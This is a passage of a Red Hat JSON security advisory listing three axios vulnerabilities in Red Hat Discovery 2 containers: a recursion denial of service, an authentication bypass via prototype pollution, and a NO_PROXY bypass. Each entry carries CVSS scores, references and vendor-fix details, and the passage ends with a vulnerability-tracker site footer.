          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
        ],
        "known_not_affected": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-42039"
        },
        {
          "category": "external",
          "summary": "RHBZ#2461630",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461630"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-42039",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42039"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9"
        }
      ],
      "release_date": "2026-04-24T18:01:30.775000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-05-07T21:30:41+00:00",
          "details": "The containers required to run Discovery can be installed through discovery-installer\nRPM. See the official documentation for more details.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:14937"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data"
    },
    {
      "cve": "CVE-2026-42041",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-04-24T19:01:41.034289+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2461629"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability, a Prototype Pollution \"Gadget\" attack, allows an attacker to manipulate the `Object.prototype.validateStatus` property. By polluting this property, all HTTP error responses (such as 401, 403, or 500) are silently treated as successful responses. This can lead to a complete bypass of application-level authentication and error handling, potentially granting unauthorized access.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
        ],
        "known_not_affected": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
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        {
          "category": "external",
          "summary": "RHBZ#2461629",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461629"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-42041",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42041"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"
        }
      ],
      "release_date": "2026-04-24T17:55:30.036000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-05-07T21:30:41+00:00",
          "details": "The containers required to run Discovery can be installed through discovery-installer\nRPM. See the official documentation for more details.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:14937"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling"
    },
    {
      "cve": "CVE-2026-42043",
      "cwe": {
        "id": "CWE-918",
        "name": "Server-Side Request Forgery (SSRF)"
      },
      "discovery_date": "2026-04-24T19:01:22.552379+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2461626"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Axios, a promise-based HTTP client. An attacker who can control the destination address of an Axios request can exploit this vulnerability. By using specific internal network addresses (within the 127.0.0.0/8 range, excluding 127.0.0.1), the attacker can completely bypass the NO_PROXY protection, potentially leading to unauthorized access or information disclosure within the network. This issue is an incomplete fix for a previous vulnerability.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: Axios: NO_PROXY bypass via crafted URL",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
        ],
        "known_not_affected": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-42043"
        },
        {
          "category": "external",
          "summary": "RHBZ#2461626",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461626"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-42043",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
        }
      ],
      "release_date": "2026-04-24T17:54:42.668000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-05-07T21:30:41+00:00",
          "details": "The containers required to run Discovery can be installed through discovery-installer\nRPM. See the official documentation for more details.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:14937"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: Axios: NO_PROXY bypass via crafted URL"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-42043 (GCVE-0-2026-42043)

GHSA-PMWG-CVHR-8VH7

FKIE_CVE-2026-42043

RHSA-2026:14937

Tags

Sightings

Nomenclature